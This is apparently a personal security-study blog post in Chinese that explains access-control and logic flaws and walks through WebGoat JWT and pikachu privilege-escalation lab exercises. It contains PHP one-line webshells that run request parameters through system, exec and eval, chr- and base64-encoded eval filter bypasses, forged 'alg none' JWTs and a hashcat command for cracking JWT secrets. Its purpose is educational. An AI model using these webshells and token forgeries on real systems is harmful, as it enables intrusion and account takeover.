越权、代码(命令)执行、JWT

资产:IP、域名、网段中有一些交换机路由器等设备,网上有漏洞给管理员发链接重置路由器

越权

如果使用A用户的权限去操作B用户的数据,A的权限小于或等于B的权限,如果能够成功操作,则称之为越权操作。 越权漏洞形成的原因是后台使用了 不合理的权限校验规则导致的。

水平越权

相同权限级别的用户之间,其中一方能够访问或操作本应仅限于另一方的数据。

垂直越权

低权限的用户能够执行本应仅限于高权限用户(如管理员)的操作。例如,一个普通用户能够访问管理员的后台功能。

普通用户访问管理员后台

普通用户执行管理员操作

如何挖掘

查看数据包是否有用户名,修改后页面是否有变化

对cookie值作修改判断,使用authz插件查看有cookie和没有cookie数据包大小

修改参数:对于所有请求(URL参数、POST参数、HTTP头如X-User-Id)中的标识符(ID、用户名等),尝试将其修改为另一个同类用户的标识符,观察响应。

权限切换:准备两个账号,一个高权限(admin),一个低权限(user)。用低权限账号尝试访问高权限账号的功能链接或请求。

抓包重放:使用Burp Suite等工具截获一个用户的请求,然后将其中的身份标识符替换成另一个用户的,再发送给服务器。

一些动态应用安全测试(DAST)工具,如Burp Suite的Scanner、OWASP ZAP,可以自动化地测试一些简单的IDOR和越权问题。

(业务)逻辑漏洞

编写业务功能代码时不严谨

身份验证与授权:在身份验证和授权过程中存在的漏洞可能导致未经授权的用户获取敏感信息或执行不当操作。例如,没有正确实施角色和权限控制,或者在密码重置功能中存在漏洞。

会话管理:会话管理漏洞可能使攻击者能够劫持用户的会话或伪造会话令牌,从而冒充合法用户进行未经授权的操作。

输入验证与过滤:缺乏对用户输入进行恰当验证和过滤可能导致代码注入、跨站脚本攻击(XSS)等安全问题。攻击者可以通过向应用程序输入恶意数据来执行任意代码或篡改网页。

数据保护与隐私:在处理用户敏感数据时,包括存储、传输和访问控制等环节的不安全实践可能导致数据泄露或违反隐私规定。

错误处理与异常管理:不正确处理错误和异常情况可能导致应用程序暴露敏感信息,或者提供有用信息给潜在攻击者。

权限提升:存在权限提升漏洞可能允许攻击者通过利用应用程序逻辑错误,获取超过其正常权限的访问权限。

针对业务逻辑的攻击:此类漏洞是特定于应用程序业务流程的。攻击者可以通过不正确地操作或绕过业务逻辑来实施攻击,例如恶意修改订单金额、非法使用优惠券等。

重放攻击:缺乏请求和响应的合适验证和令牌机制可能导致攻击者能够重放旧的请求,重复执行某些操作。

利用场景

JWT(json web token)安全

cookie 是一个非常具体的东西,指的就是浏览器里面能永久存储的一种数据,仅仅是浏览器实现的一种数据存储功能。

cookie 由服务器生成,发送给浏览器,浏览器把cookie以kv形式保存到某个目录下的文 本文件内,下一次请求同一网站时会把该cookie发送给服务器。由于cookie是存在客户端上的,所以浏览器加入了一些限制确保cookie不会被恶意使用,同时不会占据太多磁盘空间, 所以每个域的cookie数量是有限的。

session

session 从字面上讲,就是会话。这个就类似于你和一个人交谈,你怎么知道当前和你交 谈的是张三而不是李四呢?对方肯定有某种特征(长相等)表明他就是张三。

session 也是类似的道理,服务器要知道当前发请求给自己的是谁。为了做这种区分,服 务器就要给每个客户端分配不同的“身份标识”,然后客户端每次向服务器发请求的时候,都带 上这个“身份标识”,服务器就知道这个请求来自于谁了。至于客户端怎么保存这个“身份标 识”,可以有很多种方式,对于浏览器客户端,大家都默认采用 cookie 的方式。

服务器使用session把用户的信息临时保存在了服务器上,用户离开网站后session会被 销毁。这种用户信息存储方式相对cookie来说更安全,可是session有一个缺陷:如果web 服务器做了负载均衡,那么下一个操作请求到了另一台服务器的时候session会丢失。

token

在Web领域基于Token的身份验证随处可见。在大多数使用Web API的互联网公司中,tokens 是多用户下处理认证的最佳方式。
以下几点特性会让你在程序中使用基于Token的身份验证
1.无状态、可扩展
2.支持移动设备
3.跨程序调用
4.安全

1、将php命令执行函数和代码和执行函数都使用一遍

命令执行函数

system函数

执行外部命令,直接输出结果。system() 能够将字符串作为操作系统(Operator Sytstemc,OS)命令执行。在类似systemc() 函数调用系统命令时,PHP 会自动区分平台。

@$cmd = $_REQUEST['cmd'];

system($cmd);

image-20250828224856471

exec函数

执行外部命令,返回最后一行输出。可将完整输出存入数组

@$cmd = $_REQUEST['cmd'];

echo exec($cmd);

image-20250828225054364

shell_exec函数

执行外部命令,返回全部输出字符串。与反引号(`)效果相同

@$cmd = $_REQUEST['cmd'];

echo shell_exec($cmd);

image-20250828225205433

passthru函数

执行外部命令,直接输出原始结果(如二进制数据)

@$cmd = $_REQUEST['cmd'];

passthru($cmd);

image-20250828225438890

popen函数

函数返回值为文件指针,可以简单理解为文件名

@$cmd = $_REQUEST['cmd'];

$result = popen($cmd, 'r');
// popen() 启动一条 shell 进程,并把 $cmd 原封不动地交给 /bin/sh -c 去执行
// 'r' 表示以“只读”方式打开返回的文件指针(并不是文件名,而是一个资源句柄)。
echo fread($result, 2048);
// 从刚才的文件指针里一次性读取最多 2048 字节的标准输出,然后直接回显到浏览器

image-20250828225722305

反引号(`)

反引号` 内的字符串,会被解析成OS 命令。

//$cmd = "whoami";
//$cmd = "ipconfig";
$cmd = "net user";

echo "<pre>".`$cmd`;

image-20250828225844648

pcntl_exec函数

在当前进程空间执行指定程序。

代码执行函数

eval语句

直接执行字符串中的PHP代码。需以分号结尾。

如果参数进入eval() 语句之前,进行了过滤,例如过滤了单双引号,可以采用ASCII编码和BASE64编码进行绕过。

system('whoami');

// ASCII编码
chr(115).chr(121).chr(115).chr(116).chr(101).chr(109).chr(40).chr(39).chr(119).chr(104).chr(111).chr(97).chr(109).chr(105).chr(39).chr(41).chr(59)

?code=eval(chr(115).chr(121).chr(115).chr(116).chr(101).chr(109).chr(40).chr(39).chr(119).chr(104).chr(111).chr(97).chr(109).chr(105).chr(39).chr(41).chr(59));


// BASE64
c3lzdGVtKCd3aG9hbWknKTs=

?code=eval(base64_decode(c3lzdGVtKCd3aG9hbWknKTs));

代码演示示例

$code = "phpinfo();";
echo $code;
eval($code);

image-20250828222935398

assert函数

assert() 会将字符串当做PHP 代码来执行。传统用于调试断言,可执行代码。参数在某些情况下可被当作 PHP 代码执行。

$code = "phpinfo()";
echo $code;
assert($code);

image-20250828223154990

preg_replace函数

当使用 /e 修饰符时,替换字符串会被当作 PHP 代码执行。

但是preg_replace /e 在 PHP 5.5.0 起被废弃,7.0.0 起完全移除。

$code = preg_replace('~\[(.*)\]~e', '\\1', '[phpinfo()]');      
echo $code;
# 模式 ~\[(.*)\]~ 匹配最外层的中括号并捕获括号里的内容
# 修饰符 e 是 已废弃 的 PREG_REPLACE_EVAL,它会把替换字符串 '\\1'(即捕获组 $1)当成 PHP 代码 执行
# 目标字符串 '[phpinfo()]' 里的 phpinfo() 被捕获后,直接作为 PHP 代码运行

call_user_func函数

用于调用用户指定的可调用函数,若回调函数是 assert 或用户可控的函数名,可能执行代码。

$result = call_user_func('assert', phpinfo());  // 拼接两个变量组合成危险函数
echo $result; // 输出

image-20250828224045010

array_map函数

回调函数执行。若回调函数是 assert 或用户可控的函数名,可能执行代码。

$func = "assert";
$arg[] = "phpinfo()";
$result = array_map($func, $arg);
echo $result; // 输出

image-20250828224426146

动态函数

$code = "phpinfo();";
$func = "assert";

$func($code); // assert(phpinfo());

# 形式2
$code = "whoami";
$func = "system";

$func($code); // system(whoami);

image-20250828224752414

2、尝试使用其它代码执行函数编写一个一句话木马

create_function()创建匿名函数

$func = create_function('', 'echo ' . $_GET['id'] . ';');
$func();

http://192.168.142.144/php/1.php?id=1;}phpinfo();//

# $func = create_function('', 'echo ' . '1;}phpinfo();//' . ';');
// 拼接后的函数体字符串变为: 'echo 1;}phpinfo();//;'

3、通关JWT三关

开启靶场

java -jar webgoat-server-8.1.0.jar --server.port=8888 --server.address=192.168.142.145

创建用户johnwick密码123456

image-20250828163030641

进入JWT靶场

image-20250828163330629

JWT-4

在这个页面可以进行投票操作,但是在进行删除投票的操作时提示只有管理员才能够解析此操作

image-20250828163524385

查看刚才进行删除操作的数据包,返回的提示是只有admin才能重置投票

image-20250828163850975

复制刚刚token字段查看是怎么回事,可以看到token字段中有一栏是否是admin用户,这里是false,那么改成true试试是否可行

image-20250828164339270

由于这关有一个特殊条件,加密算法字段可以设置为none来绕过签名。最后的token值为

eyJhbGciOiJub25lIn0.eyJpYXQiOjE3NTcyMzQyNjYsImFkbWluIjoidHJ1ZSIsInVzZXIiOiJUb20ifQ.

image-20250828164716878

替换原来的token值进行重发,可以看到回显中有Congratulations. You have successfully completed the assignment.说明操作成功

image-20250828164815805

返回查看票数被重置了

image-20250828165001684

JWT-5

给了一个token,请尝试找出密钥,并提交一个新的密钥,同时将用户名更改为 WebGoat

image-20250828165100961

先提交这个token看看什么情况,服务器提示这不是一个有效的token

image-20250828172822079

看看这个token都有哪些有效字段,这里iat字段是jwt的签发时间,exp是jwt的过期时间,这使用的是unix计时方法

image-20250828172848231

转换一下时间戳,发现过期了,这里重新设置时间戳,设置为2025-08-28 18:00:11 —> 1756375211

image-20250828170115589

这里同样先找到加密算法的密钥,使用hashcat进行爆破

hashcat -m 16500 jwt.txt -a 3 -w 2 1.txt --force

# -m 16500 这里的16500对应的就是jwt的token爆破
# -a 3 暴力破解
# -w 3 可以理解为高速破解,就是会让桌面进程无响应的那种高速
# jwt.txt 存储的是需要进行解密的token值
# 1.txt 密码字典(victory,washington,business)

# 这里使用kali时需要将分配的内存调制4G甚至更大,不然无法启动hashmap

然后设置一个新的时间戳,还要将username修改为WebGoat。token值为


JWT-7

一个购物界面,若是能够修改token让其他人付钱岂不美哉

image-20250828171245663

先购买试试,发现返回无效token,回头看发送的数据包没有带有token值

image-20250828171600476

正好这里提供了token,不过是一个过期的token

image-20250828171803596

看看token信息,查看exp发现token已经过期那么就需要重新设置exp让token能够再次生效

image-20250828171954170

这里同样先将加密算法设置为 none ,然后设置一个新的时间戳这设置为2025-08-28 18:00:11 —> 1756375211

eyJhbGciOiJub25lIn0.eyJpYXQiOjE1MjYxMzE0MTEsImV4cCI6MTc1NjM3NTIxMSwiYWRtaW4iOiJmYWxzZSIsInVzZXIiOiJUb20ifQ.

image-20250828172215586

进行重发测试回显成功Congratulations. You have successfully completed the assignment.

image-20250828172255370

4、尝试安装hfish蜜罐设备(https://hfish.net/)

5、通关pikachu靶场的越权

水平越权

查看pikachu靶场用户

image-20250828155049794

首先登录kobe用户,然后查看kobe的用户信息

image-20250828155217604

从 url 中发现这是使用 get 进行传参,是否可以修改 username 后面的参数让页面显示其他用户的信息

将 username 改为 lili 后页面显示的就是 lili 的个人信息

image-20250828155452168

明明登录的是kobe用户但是却能够查询到lili的信息,是水平越权无疑了

查看关键代码,代码直接读入前端传入的 username 参数然后进行查询

if(isset($_GET['submit']) && $_GET['username']!=null){
//没有使用session来校验,而是使用的传进来的值,权限校验出现问题,这里应该跟登录态关系进行绑定
$username=escape($link, $_GET['username']);
$query="select * from member where username='$username'";
$result=execute($link, $query);
if(mysqli_num_rows($result)==1){
$data=mysqli_fetch_assoc($result);
$uname=$data['username'];
$sex=$data['sex'];
$phonenum=$data['phonenum'];
$add=$data['address'];
$email=$data['email'];

$html.=<<<A
<div id="per_info">
<h1 class="per_title">hello,{$uname},你的具体信息如下:</h1>
<p class="per_name">姓名:{$uname}</p>
<p class="per_sex">性别:{$sex}</p>
<p class="per_phone">手机:{$phonenum}</p>
<p class="per_add">住址:{$add}</p>
<p class="per_email">邮箱:{$email}</p>
</div>
A;
}
}

垂直越权

查看可用用户

image-20250828160110380

首先登录 admin 用户,管理员可以进行添加用户的操作

image-20250828160341986

接着登录pikachu用户,发现只有查看用户的权限

image-20250828160637103

综合这两个用户,发现访问的页面不同,是否管理员用户的页面普通用户也能够进行访问呢?这里尝试登录pikachu用户去访问添加用户界面

这里访问成功,以普通用户pikachu的身份访问了只有管理员用户才能访问的添加用户的界面

image-20250828160936492

尝试添加用户 john

image-20250828161221143

发现用户john成功创建,这下垂直越权成功

image-20250828161241647

源代码,这里只是判断用户有没有登录,而不是验证身份权限,导致垂直越权

$link=connect();
// 判断是否登录,没有登录不能访问
//这里只是验证了登录状态,并没有验证级别,所以存在越权问题。
if(!check_op2_login($link)){
header("location:op2_login.php");
exit();
}
Author: wickt42
Link: http://example.com/2025/08/28/越权、代码(命令)执行、JWT/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.